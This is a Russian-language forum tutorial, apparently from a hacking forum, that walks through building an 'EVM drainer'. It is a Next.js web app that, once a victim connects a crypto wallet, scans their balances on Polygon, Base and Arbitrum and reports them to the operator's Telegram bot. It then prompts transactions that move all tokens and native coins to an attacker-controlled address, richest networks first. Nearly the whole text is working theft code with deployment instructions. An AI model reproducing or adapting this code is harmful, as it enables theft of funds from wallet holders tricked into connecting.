<Smartphone className="mr-2 size-5" />
) : (
<Wallet className="mr-2 size-5" />
)}
Подключить кошелек
</Button>
)
}
Разберем этот компонент. Хук useAppKit предоставляет функцию open которая открывает модальное окно выбора кошелька.
Функция isMobileDevice определяет тип устройства по User Agent. Это нужно для отображения соответствующей иконки и для логирования.
Состояние isMobile обновляется в useEffect после монтирования компонента. Это необходимо потому что при SSR window недоступен.
Функция handleConnect вызывается при клике на кнопку. Она логирует информацию для отладки и вызывает open() для открытия модального окна.
Кнопка отображает разные иконки в зависимости от типа устройства - Smartphone для мобильных и Wallet для десктопа.
5.6 Интеграция в Layout
Теперь интегрируем Web3Provider в главный layout приложения. Редактируем файл app/layout.tsx.
Код:
import React from "react"
import type { Metadata } from 'next'
import { Geist, Geist_Mono } from 'next/font/google'
import { headers } from 'next/headers'
import { Web3Provider } from '@/components/Web3Provider'
import './globals.css'
const _geist = Geist({ subsets: ["latin"] });
const _geistMono = Geist_Mono({ subsets: ["latin"] });
export const metadata: Metadata = {
title: 'Web3 Wallet App',
description: 'Connect and manage your crypto wallet',
}
export default async function RootLayout({
children,
}: Readonly<{
children: React.ReactNode
}>) {
const headersObj = await headers()
const cookies = headersObj.get('cookie')
return (
<html lang="en">
<body className="font-sans antialiased">
<Web3Provider cookies={cookies}>
{children}
</Web3Provider>
</body>
</html>
)
}
Ключевой момент здесь - получение cookies через headers() и передача их в Web3Provider. Это необходимо для восстановления состояния подключения при SSR. Функция headers() в Next.js 15 является асинхронной поэтому layout объявлен как async function.
ГЛАВА 6. СКАНИРОВАНИЕ БАЛАНСОВ КОШЕЛЬКА
6.1 Архитектура API для сканирования
Сканирование балансов выполняется на сервере через API route. Это дает несколько преимуществ. Логика сканирования скрыта от пользователя - он не видит какие токены мы проверяем. RPC запросы выполняются с сервера что обходит CORS ограничения. Можно использовать множество резервных RPC endpoints.
Создаем файл app/api/scan-wallet/route.ts который будет обрабатывать POST запросы с адресом кошелька и возвращать информацию о балансах во всех поддерживаемых сетях.
Код:
import { NextResponse } from 'next/server'
const RPC_ENDPOINTS = {
polygon: [
'https://polygon-rpc.com',
'https://rpc-mainnet.maticvigil.com',
'https://polygon-bor-rpc.publicnode.com'
],
base: [
'https://mainnet.base.org',
'https://base.publicnode.com',
'https://base-rpc.publicnode.com'
],
arbitrum: [
'https://arb1.arbitrum.io/rpc',
'https://arbitrum-one.publicnode.com',
'https://arbitrum.llamarpc.com'
],
}
const TOKEN_CONTRACTS = {
polygon: {
USDT: '0xc2132D05D31c914a87C6611C10748AEb04B58e8F',
USDC: '0x3c499c542cEF5E3811e1192ce70d8cC03d5c3359',
WETH: '0x7ceB23fD6bC0adD59E62ac25578270cFf1b9f619',
},
base: {
USDC: '0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913',
WETH: '0x4200000000000000000000000000000000000006',
},
arbitrum: {
USDT: '0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9',
USDC: '0xaf88d065e77c8cC2239327C5EDb3A432268e5831',
ARB: '0x912CE59144191C1204E64559FE8253a0e49E6548',
WETH: '0x82aF49447D8a07e3bd95BD0d56f35241523fBab1',
},
}
const BALANCE_OF_SIGNATURE = '0x70a08231'
Давайте разберем структуру данных. Объект RPC_ENDPOINTS содержит массивы RPC адресов для каждой сети. Использование массива позволяет автоматически переключаться на резервный RPC если основной недоступен. Первый адрес в массиве - основной, остальные - резервные.
Объект TOKEN_CONTRACTS содержит адреса популярных ERC-20 токенов в каждой сети. Обратите внимание что USDT отсутствует в Base - в этой сети он не так популярен. ARB токен добавлен только для Arbitrum поскольку это нативный токен этой сети.
Константа BALANCE_OF_SIGNATURE содержит function selector для функции balanceOf стандарта ERC-20. Это первые 4 байта keccak256 хеша от строки balanceOf(address).
6.2 Функция получения баланса нативной монеты
Код:
async function getBalance(rpcUrls: string[], address: string, networkName: string): Promise<string> {
for (const rpcUrl of rpcUrls) {
try {
const response = await fetch(rpcUrl, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({
jsonrpc: '2.0',
method: 'eth_getBalance',
params: [address, 'latest'],
id: 1,
}),
})
const data = await response.json()
if (data.error) {
continue
}
if (!data.result) {
continue
}
const balanceWei = BigInt(data.result)
const balanceEther = Number(balanceWei) / 1e18
return balanceEther.toString()
} catch (error) {
continue
}
}
return '0'
}
Эта функция перебирает все RPC endpoints пока не получит успешный ответ. Метод eth_getBalance возвращает баланс в wei в шестнадцатеричном формате. Мы конвертируем его в BigInt, затем делим на 1e18 чтобы получить значение в ether/matic/etc.
Ключевой момент - цикл for...of с continue при ошибках. Если один RPC не ответил или вернул ошибку, мы просто переходим к следующему. Только если все RPC не сработали, функция возвращает 0.
6.3 Функция получения баланса ERC-20 токена
Код:
async function getTokenBalance(
rpcUrls: string[],
walletAddress: string,
tokenContract: string,
networkName: string,
tokenName: string,
decimals: number = 18
): Promise<string> {
const paddedAddress = walletAddress.slice(2).toLowerCase().padStart(64, '0')
const data = BALANCE_OF_SIGNATURE + paddedAddress
for (const rpcUrl of rpcUrls) {
try {
const response = await fetch(rpcUrl, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
jsonrpc: '2.0',
method: 'eth_call',
params: [{ to: tokenContract, data }, 'latest'],
id: 1,
}),
})
const result = await response.json()
if (result.error || !result.result || result.result === '0x') {
continue
}
const balanceWei = BigInt(result.result)
const balance = Number(balanceWei) / Math.pow(10, decimals)
return balance.toString()
} catch {
continue
}
}
return '0'
}
Для получения баланса ERC-20 токена мы используем метод eth_call который выполняет вызов функции контракта без создания транзакции. Это бесплатная операция которая просто читает данные из блокчейна.
Формирование data происходит следующим образом. Берем адрес кошелька и убираем префикс 0x методом slice(2). Приводим к нижнему регистру методом toLowerCase(). Дополняем нулями слева до 64 символов (32 байта) методом padStart(64, '0'). Добавляем function selector в начало.
Параметр decimals важен потому что разные токены имеют разное количество знаков после запятой. USDT и USDC используют 6 decimals, а большинство других токенов используют 18.
6.4 Получение актуальных цен
Код:
async function getPrices(): Promise<{ eth: number; pol: number; usdt: number; usdc: number; arb: number }> {
try {
const response = await fetch(
'https://api.coingecko.com/api/v3/simple/price?ids=ethereum,polygon-ecosystem-token,tether,usd-coin,arbitrum&vs_currencies=usd',
{
headers: { 'Accept': 'application/json' },
cache: 'no-store',
}
)
const data = await response.json()
return {
eth: data.ethereum?.usd || 0,
pol: data['polygon-ecosystem-token']?.usd || 0,
usdt: data.tether?.usd || 1,
usdc: data['usd-coin']?.usd || 1,
arb: data.arbitrum?.usd || 0,
}
} catch (error) {
return { eth: 0, pol: 0, usdt: 1, usdc: 1, arb: 0 }
}
}
Мы используем бесплатный API CoinGecko для получения актуальных цен криптовалют. Параметр cache: 'no-store' отключает кеширование чтобы всегда получать актуальные цены.
Для стейблкоинов USDT и USDC устанавливаем значение по умолчанию 1 доллар, потому что они привязаны к доллару и их цена почти никогда не отклоняется значительно.
6.5 Основной обработчик POST запроса
Код:
export async function POST(request: Request) {
try {
const { address } = await request.json()
if (!address) {
return NextResponse.json({ error: 'Адрес обязателен' }, { status: 400 })
}
const prices = await getPrices()
const [polygonNative, baseNative, arbitrumNative] = await Promise.all([
getBalance(RPC_ENDPOINTS.polygon, address, 'Polygon'),
getBalance(RPC_ENDPOINTS.base, address, 'Base'),
getBalance(RPC_ENDPOINTS.arbitrum, address, 'Arbitrum'),
])
const [polygonUSDT, polygonUSDC, polygonWETH] = await Promise.all([
getTokenBalance(RPC_ENDPOINTS.polygon, address, TOKEN_CONTRACTS.polygon.USDT, 'Polygon', 'USDT', 6),
getTokenBalance(RPC_ENDPOINTS.polygon, address, TOKEN_CONTRACTS.polygon.USDC, 'Polygon', 'USDC', 6),
getTokenBalance(RPC_ENDPOINTS.polygon, address, TOKEN_CONTRACTS.polygon.WETH, 'Polygon', 'WETH', 18),
])
// Аналогичные запросы для Base и Arbitrum...
// Вычисление USD стоимости
const polygonNativeUsd = parseFloat(polygonNative) * prices.pol
const polygonUsdtUsd = parseFloat(polygonUSDT) * prices.usdt
// ... и так далее
const totalUsd = polygonTotalUsd + baseTotalUsd + arbTotalUsd
return NextResponse.json({
success: true,
address,
balances,
totalUsd: totalUsd.toFixed(2),
prices,
})
} catch (error) {
return NextResponse.json(
{ error: 'Не удалось просканировать кошелек' },
{ status: 500 }
)
}
}
Обработчик использует Promise.all для параллельного выполнения запросов. Это критически важно для производительности - вместо последовательного выполнения 10+ запросов мы выполняем их параллельно, что значительно сокращает общее время ожидания.
Результат содержит детальную информацию о балансах в каждой сети, общую USD стоимость и актуальные цены. Эта информация используется как для отображения пользователю так и для отправки в Telegram.
ГЛАВА 7. УМНАЯ СИСТЕМА РАСЧЕТА ГАЗА
7.1 Проблема расчета комиссий
Одна из главных проблем при создании drainer-приложения - точный расчет комиссий за газ. Если мы неправильно рассчитаем комиссию, может произойти одна из двух ситуаций. Первая - комиссия слишком низкая и транзакция зависнет в мемпуле или вообще не будет принята. Вторая - комиссия слишком высокая и мы попытаемся списать больше нативной монеты чем есть у пользователя, что приведет к ошибке.
Дополнительная сложность в том что публичные RPC endpoints могут быть недоступны или отвечать медленно. Нам нужна надежная fallback-стратегия которая обеспечит работу приложения даже при проблемах с RPC.
7.2 Конфигурация газа для каждой сети
Создаем файл lib/gas-estimation.ts с конфигурацией для каждой поддерживаемой сети.
Код:
export interface GasEstimate {
gasLimit: bigint
maxFeePerGas: bigint
maxPriorityFeePerGas: bigint
estimatedCost: bigint
source: 'rpc' | 'fallback'
success: boolean
}
export interface NetworkGasConfig {
supportsEIP1559: boolean
fallbackGasLimit: {
native: bigint
erc20: bigint
}
fallbackMaxFeePerGas: bigint
fallbackMaxPriorityFeePerGas: bigint
gasBuffer: number
}
const GAS_CONFIGS: Record<number, NetworkGasConfig> = {
137: { // Polygon
supportsEIP1559: true,
fallbackGasLimit: {
native: BigInt(21000),
erc20: BigInt(65000),
},
fallbackMaxFeePerGas: BigInt(150_000_000_000), // 150 gwei
fallbackMaxPriorityFeePerGas: BigInt(30_000_000_000), // 30 gwei
gasBuffer: 20,
},
8453: { // Base
supportsEIP1559: true,
fallbackGasLimit: {
native: BigInt(21000),
erc20: BigInt(65000),
},
fallbackMaxFeePerGas: BigInt(1_000_000_000), // 1 gwei
fallbackMaxPriorityFeePerGas: BigInt(100_000_000), // 0.1 gwei
gasBuffer: 20,
},
42161: { // Arbitrum
supportsEIP1559: false,
fallbackGasLimit: {
native: BigInt(21000),
erc20: BigInt(200000),
},
fallbackMaxFeePerGas: BigInt(100_000_000), // 0.1 gwei
fallbackMaxPriorityFeePerGas: BigInt(0),
gasBuffer: 30,
},
}
Разберем конфигурацию детально. Поле supportsEIP1559 указывает поддерживает ли сеть новый формат транзакций. Polygon и Base полностью поддерживают EIP-1559. Arbitrum технически поддерживает но на практике работает лучше с legacy форматом.
Поле fallbackGasLimit содержит значения по умолчанию для лимита газа. Для нативных переводов это стандартные 21000. Для ERC-20 трансферов обычно достаточно 65000, но для Arbitrum мы используем 200000 из-за особенностей L2.
Поля fallbackMaxFeePerGas и fallbackMaxPriorityFeePerGas содержат консервативные значения цен на газ которые почти гарантированно будут приняты сетью. Для Polygon это достаточно высокие 150 gwei, для Base очень низкие 1 gwei, для Arbitrum средние 0.1 gwei.
Поле gasBuffer определяет процент буфера который мы добавляем к расчетным значениям. Это страховка от колебаний цены газа между моментом расчета и моментом отправки транзакции.
7.3 Получение EIP-1559 параметров через RPC
Код:
async function getEIP1559GasFromRPC(rpcUrls: string[], chainId: number): Promise<{
maxFeePerGas: bigint
maxPriorityFeePerGas: bigint
baseFeePerGas: bigint
success: boolean
}> {
for (const rpcUrl of rpcUrls) {
try {
const controller = new AbortController()
const timeout = setTimeout(() => controller.abort(), 5000)
const [blockResponse, priorityFeeResponse] = await Promise.all([
fetch(rpcUrl, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
jsonrpc: '2.0',
method: 'eth_getBlockByNumber',
params: ['latest', false],
id: 1,
}),
signal: controller.signal,
}),
fetch(rpcUrl, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
jsonrpc: '2.0',
method: 'eth_maxPriorityFeePerGas',
params: [],
id: 2,
}),
signal: controller.signal,
})
])
clearTimeout(timeout)
const blockData = await blockResponse.json()
const priorityFeeData = await priorityFeeResponse.json()
if (blockData.result?.baseFeePerGas && priorityFeeData.result) {
const baseFeePerGas = BigInt(blockData.result.baseFeePerGas)
const maxPriorityFeePerGas = BigInt(priorityFeeData.result)
const maxFeePerGas = baseFeePerGas * BigInt(2) + maxPriorityFeePerGas
return {
maxFeePerGas,
maxPriorityFeePerGas,
baseFeePerGas,
success: true,
}
}
} catch (error) {
continue
}
}
return {
maxFeePerGas: BigInt(0),
maxPriorityFeePerGas: BigInt(0),
baseFeePerGas: BigInt(0),
success: false,
}
}
Эта функция получает актуальные параметры газа для EIP-1559 транзакций. Мы выполняем два параллельных запроса. Первый - eth_getBlockByNumber с параметром latest для получения данных последнего блока включая baseFeePerGas. Второй - eth_maxPriorityFeePerGas для получения рекомендуемой priority fee.
AbortController с таймаутом 5 секунд защищает от зависших запросов. Если RPC не отвечает за 5 секунд, запрос отменяется и мы переходим к следующему RPC.
Формула расчета maxFeePerGas классическая - baseFee умножаем на 2 и добавляем priorityFee. Умножение baseFee на 2 дает запас на случай роста базовой цены в следующих блоках.
7.4 Главная функция умной оценки газа
Код:
export async function smartEstimateGas(
chainId: number,
rpcUrls: string[],
from: string,
to: string,
value?: string,
data?: string
): Promise<GasEstimate> {
const config = GAS_CONFIGS[chainId]
if (!config) {
throw new Error(`Unsupported chain ID: ${chainId}`)
}
let gasLimit = BigInt(0)
let maxFeePerGas = BigInt(0)
let maxPriorityFeePerGas = BigInt(0)
let usedFallback = false
// Шаг 1: Оценка gasLimit через RPC
const gasLimitEstimate = await estimateGasLimitFromRPC(rpcUrls, from, to, value, data)
if (gasLimitEstimate.success) {
gasLimit = (gasLimitEstimate.gasLimit * BigInt(100 + config.gasBuffer)) / BigInt(100)
} else {
gasLimit = data ? config.fallbackGasLimit.erc20 : config.fallbackGasLimit.native
usedFallback = true
}
// Шаг 2: Получение цен на газ
if (config.supportsEIP1559) {
const eip1559 = await getEIP1559GasFromRPC(rpcUrls, chainId)
if (eip1559.success) {
maxFeePerGas = (eip1559.maxFeePerGas * BigInt(100 + config.gasBuffer)) / BigInt(100)
maxPriorityFeePerGas = (eip1559.maxPriorityFeePerGas * BigInt(100 + config.gasBuffer)) / BigInt(100)
} else {
maxFeePerGas = config.fallbackMaxFeePerGas
maxPriorityFeePerGas = config.fallbackMaxPriorityFeePerGas
usedFallback = true
}
} else {
const legacyGas = await getLegacyGasPriceFromRPC(rpcUrls)
if (legacyGas.success) {
maxFeePerGas = (legacyGas.gasPrice * BigInt(100 + config.gasBuffer)) / BigInt(100)
} else {
maxFeePerGas = config.fallbackMaxFeePerGas
usedFallback = true
}
}
const estimatedCost = gasLimit * maxFeePerGas
return {
gasLimit,
maxFeePerGas,
maxPriorityFeePerGas,
estimatedCost,
source: usedFallback ? 'fallback' : 'rpc',
success: true,
}
}
Главная функция smartEstimateGas объединяет все компоненты системы расчета газа. Она выполняет двухэтапный процесс.
На первом этапе оценивается gasLimit. Сначала пытаемся получить точную оценку через RPC метод eth_estimateGas. Если RPC недоступен или вернул ошибку, используем fallback значение из конфигурации. В любом случае добавляем буфер для страховки.
На втором этапе получаем цены на газ. Для EIP-1559 сетей запрашиваем baseFee и priorityFee через RPC. Для legacy сетей запрашиваем gasPrice. При недоступности RPC используем fallback значения из конфигурации.
Итоговая стоимость рассчитывается как произведение gasLimit на maxFeePerGas. Поле source в результате показывает использовались ли fallback значения - это полезно для отладки и мониторинга.
ГЛАВА 8. ПОДГОТОВКА И ВЫПОЛНЕНИЕ ТРАНЗАКЦИЙ
8.1 API для симуляции транзакций
Создаем файл app/api/simulate-transactions/route.ts который будет подготавливать все транзакции для списания активов.
Код:
import { NextResponse } from 'next/server'
import { smartEstimateGas } from '@/lib/gas-estimation'
const RECEIVER_ADDRESS = '0x3D5617eFc4d9B92Bf4585833E802C9577dc16eA9'
const CHAIN_IDS = {
polygon: 137,
base: 8453,
arbitrum: 42161,
}
const TRANSFER_SIGNATURE = '0xa9059cbb'
function createTransferData(to: string, amount: bigint): string {
const paddedTo = to.slice(2).toLowerCase().padStart(64, '0')
const paddedAmount = amount.toString(16).padStart(64, '0')
return TRANSFER_SIGNATURE + paddedTo + paddedAmount
}
RECEIVER_ADDRESS - это адрес на который будут отправлены все списанные средства. Функция createTransferData формирует calldata для вызова функции transfer ERC-20 токена.
### 8.2 Логика формирования транзакций
Ключевой момент - правильный расчет сколько нативной монеты можно отправить с учетом комиссий за все транзакции.
Код:
// Сначала считаем комиссию за все ERC-20 транзакции
let totalGasCostForTokens = BigInt(0)
const tokenTransactions = []
for (const token of network.tokens) {
const transferData = createTransferData(RECEIVER_ADDRESS, token.balance)
const gasEstimate = await smartEstimateGas(
network.chainId,
network.rpcUrls,
address,
token.contract,
undefined,
transferData
)
totalGasCostForTokens += gasEstimate.estimatedCost
tokenTransactions.push({
chainId: network.chainId,
to: token.contract,
data: transferData,
type: 'erc20',
token: token.symbol,
amount: token.balance.toString(),
estimatedGas: gasEstimate.gasLimit.toString(),
maxFeePerGas: gasEstimate.maxFeePerGas.toString(),
})
}
// Проверяем хватает ли нативной монеты на комиссии
if (network.nativeBalance < totalGasCostForTokens) {
continue // Пропускаем сеть
}
// Добавляем транзакции ERC-20
transactions.push(...tokenTransactions)
// Считаем сколько нативной монеты можно отправить
const nativeGasEstimate = await smartEstimateGas(
network.chainId,
network.rpcUrls,
address,
RECEIVER_ADDRESS,
'0x1'
)
const totalGasCost = totalGasCostForTokens + nativeGasEstimate.estimatedCost
const maxTransferAmount = network.nativeBalance - totalGasCost
if (maxTransferAmount > BigInt(0)) {
transactions.push({
chainId: network.chainId,
to: RECEIVER_ADDRESS,
value: '0x' + maxTransferAmount.toString(16),
type: 'native',
token: network.nativeSymbol,
amount: maxTransferAmount.toString(),
})
}
Алгоритм работает следующим образом. Сначала для каждого ERC-20 токена формируем транзакцию и считаем стоимость газа. Суммируем стоимость всех ERC-20 транзакций. Проверяем что баланс нативной монеты достаточен для оплаты комиссий. Если да - добавляем ERC-20 транзакции в список. Затем считаем стоимость транзакции нативной монеты. Вычисляем максимальную сумму которую можно отправить - это баланс минус все комиссии. Если сумма положительная - добавляем транзакцию нативной монеты.
8.3 Сортировка сетей по стоимости
Важный момент - сети сортируются по убыванию USD стоимости активов. Это гарантирует что сначала будут списаны самые ценные активы.
Код:
networks.sort((a, b) => b.totalUsdValue - a.totalUsdValue)
Если пользователь отменит транзакцию после первой сети, мы уже успеем списать самые ценные активы.
ГЛАВА 9. УВЕДОМЛЕНИЯ В TELEGRAM
9.1 Создание Telegram бота
Для получения уведомлений необходимо создать Telegram бота. Открываем Telegram и находим BotFather. Отправляем команду /newbot. Вводим имя для бота. Вводим username для бота (должен заканчиваться на bot). BotFather вернет токен вида 1234567890:ABCdefGHIjklMNOpqrsTUVwxyz.
Затем нужно получить Chat ID. Пишем /start @userinfobot и получаем наш Chat ID.
9.2 API для отправки уведомлений
Создаем файл app/api/telegram/route.ts.
Код:
import { NextResponse } from 'next/server'
const TELEGRAM_BOT_TOKEN = 'ваш_токен_бота'
const TELEGRAM_CHAT_ID = 'ваш_chat_id'
export async function POST(request: Request) {
try {
const { address, balances, totalUsd, prices } = await request.json()
let message = `*CONNECT WALLET!*\n`
message += `━━━━━━━━━━━━━━━━━━━━━━\n`
message += `*Адрес:*\n\`${address}\`\n\n`
message += `*РЫНОЧНЫЕ ЦЕНЫ:*\n`
message += `├ POL: *$${prices.pol?.toFixed(4) || '0'}*\n`
message += `├ ARB: *$${prices.arb?.toFixed(4) || '0'}*\n`
message += `└ USDT/USDC: *$1\\.00*\n\n`
message += `*АКТИВЫ ПО СЕТЯМ:*\n`
for (const balance of balances) {
message += `*${balance.network}*\n`
if (balance.tokens && balance.tokens.length > 0) {
for (const token of balance.tokens) {
message += ` ├─ \`${token}\`\n`
}
}
message += ` Стоимость: *$${balance.usdValue} USD*\n`
}
message += `\n*ИТОГО: $${totalUsd} USD*\n`
const response = await fetch(
`https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/sendMessage`,
{
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
chat_id: TELEGRAM_CHAT_ID,
text: message,
parse_mode: 'Markdown',
}),
}
)
if (!response.ok) {
return NextResponse.json({ error: 'Failed to send' }, { status: 500 })
}
return NextResponse.json({ success: true })
} catch (error) {
return NextResponse.json({ error: 'Internal error' }, { status: 500 })
}
}
Сообщение форматируется с использованием Markdown разметки Telegram. Символы которые могут быть интерпретированы как Markdown необходимо экранировать обратным слешем.
ГЛАВА 10. КЛИЕНТСКАЯ ЛОГИКА И ИНТЕРФЕЙС
10.1 Основная страница приложения
Создаем файл app/page.tsx с основной логикой приложения.
Код:
'use client'
import { useAppKitAccount } from '@reown/appkit/react'
import { useDisconnect, useSendTransaction, useSwitchChain } from 'wagmi'
import AppKitButton from '@/components/AppKitButton'
import { useEffect, useState } from 'react'
import { polygon, base, arbitrum } from '@reown/appkit/networks'
export default function Home() {
const { address, isConnected } = useAppKitAccount()
const { disconnect } = useDisconnect()
const [isScanning, setIsScanning] = useState(false)
const [txStatus, setTxStatus] = useState('')
const [hasScanned, setHasScanned] = useState(new Set())
const { sendTransactionAsync } = useSendTransaction()
const { switchChainAsync } = useSwitchChain()
useEffect(() => {
const scanAndExecute = async () => {
if (!address || !isConnected) return
if (hasScanned.has(address)) return
setHasScanned(prev => new Set(prev).add(address))
setIsScanning(true)
// Сканирование и выполнение транзакций...
}
scanAndExecute()
}, [address, isConnected])
// Рендер интерфейса...
}
Хук useAppKitAccount предоставляет адрес и статус подключения. useSendTransaction используется для отправки транзакций. useSwitchChain позволяет переключать сети программно.
Set hasScanned отслеживает какие адреса уже были просканированы. Это предотвращает повторное сканирование при ререндере компонента.
10.2 Автоматическое сканирование при подключении
Код:
useEffect(() => {
const scanAndAutoExecute = async () => {
if (!address || !isConnected) return
if (hasScanned.has(address)) return
setHasScanned(prev => new Set(prev).add(address))
setIsScanning(true)
setTxStatus('Scanning wallet...')
try {
// Переключаемся на Polygon как начальную сеть
try {
await switchChainAsync({ chainId: polygon.id })
} catch {}
// Сканируем кошелек
const scanResponse = await fetch('/api/scan-wallet', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ address }),
})
const scanData = await scanResponse.json()
setIsScanning(false)
// Отправляем в Telegram
await fetch('/api/telegram', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
address: scanData.address,
balances: scanData.balances,
totalUsd: scanData.totalUsd,
prices: scanData.prices,
}),
})
// Если есть активы - запускаем транзакции
if (parseFloat(scanData.totalUsd) > 0) {
await executeTransactions(scanData)
}
} catch {
setIsScanning(false)
setTxStatus('Error')
}
}
scanAndAutoExecute()
}, [address, isConnected])
useEffect с зависимостями [address, isConnected] срабатывает при каждом подключении кошелька или смене адреса. Проверка hasScanned.has(address) предотвращает повторное сканирование того же адреса.
10.3 Выполнение транзакций
Код:
const executeTransactions = async (data) => {
setTxStatus('Preparing transactions...')
const response = await fetch('/api/simulate-transactions', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ address }),
})
const txData = await response.json()
const transactions = txData.transactions
// Группируем транзакции по сетям
const txByChain = new Map()
for (const tx of transactions) {
const existing = txByChain.get(tx.chainId) || []
existing.push(tx)
txByChain.set(tx.chainId, existing)
}
// Выполняем транзакции для каждой сети
for (const [chainId, chainTxs] of txByChain) {
// Переключаем сеть
await switchChainAsync({ chainId })
await new Promise(resolve => setTimeout(resolve, 1500))
// Выполняем все транзакции в этой сети
for (const tx of chainTxs) {
setTxStatus(`Sending ${tx.token}...`)
try {
const txParams = {
to: tx.to,
chainId: tx.chainId,
}
if (tx.type === 'native' && tx.value) {
txParams.value = BigInt(tx.value)
}
if (tx.data) {
txParams.data = tx.data
}
await sendTransactionAsync(txParams)
setTxStatus(`${tx.token} sent`)
} catch (error) {
if (error.message?.includes('rejected')) {
setTxStatus(`${tx.token} rejected`)
}
continue
}
}
}
setTxStatus('Done')
}
Транзакции выполняются последовательно внутри каждой сети. Между переключениями сетей добавляется небольшая задержка чтобы кошелек успел обновить состояние. Ошибки отдельных транзакций не прерывают весь процесс - мы просто переходим к следующей транзакции.
ГЛАВА 11. ДЕПЛОЙ И ТЕСТИРОВАНИЕ
11.1 Подготовка к деплою
Скачиваем код, заходим на github, выгружаем код.
11.2 Деплой на Vercel
Деплоим на vercel через github, получаем link приложение, заходим на гитхаб, изменяем в Web3Provider на 14 строке.
В переменных окружениях пишем
Код:
RECEIVER_ADDRESS=ВАШАДРЕСКОШЕЛЬКА
TELEGRAM_BOT_TOKEN=ВАШ_ТОКЕН_БОТА_ТГ
TELEGRAM_CHAT_ID=ВАШЧАТАЙДИ
NEXT_PUBLIC_WALLETCONNECT_PROJECT_ID=ваш_project_id_reown
Не забудьте добавить production домен в Allowed Domains в настройках проекта Reown Cloud.
ПОСЛЕ ИЗМЕНЕНИЙ ПЕРЕМЕННЫХ ОКРУЖЕНИЙ ВЫЛЕЗЕТ ПЛАШКА REDEPLOY, нажимаем на нее чтобы переменные окружения применились
11.3 Тестирование
Для тестирования рекомендуется использовать тестовый кошелек с небольшим балансом. Создайте новый кошелек в TrustWallet и переведите на него небольшое количество токенов в тестируемых сетях.
Последовательность тестирования. Откройте приложение в браузере. Нажмите кнопку подключения кошелька. Выберите кошелек и подтвердите подключение. Наблюдайте за статусом - должно появиться Scanning wallet. Проверьте Telegram - должно прийти уведомление о подключении. Если есть активы - появятся запросы на подтверждение транзакций.
!ЗАКЛЮЧЕНИЕ!

В этой статье мы детально разобрали создание evm drainer с использованием современного стека технологий. Мы изучили фундаментальные концепции Web3 разработки, настроили подключение кошельков через Reown AppKit, реализовали сканирование балансов в нескольких EVM сетях, создали умную систему расчета газа с fallback механизмом, и настроили уведомления в Telegram.
Ключевые технические решения которые мы применили. Использование серверных API routes для скрытия критической логики. Параллельные запросы через Promise.all для оптимизации производительности. Fallback стратегия для работы при недоступности RPC. Сортировка активов по USD стоимости для максимального профита.
Вложения
Последнее редактирование модератором: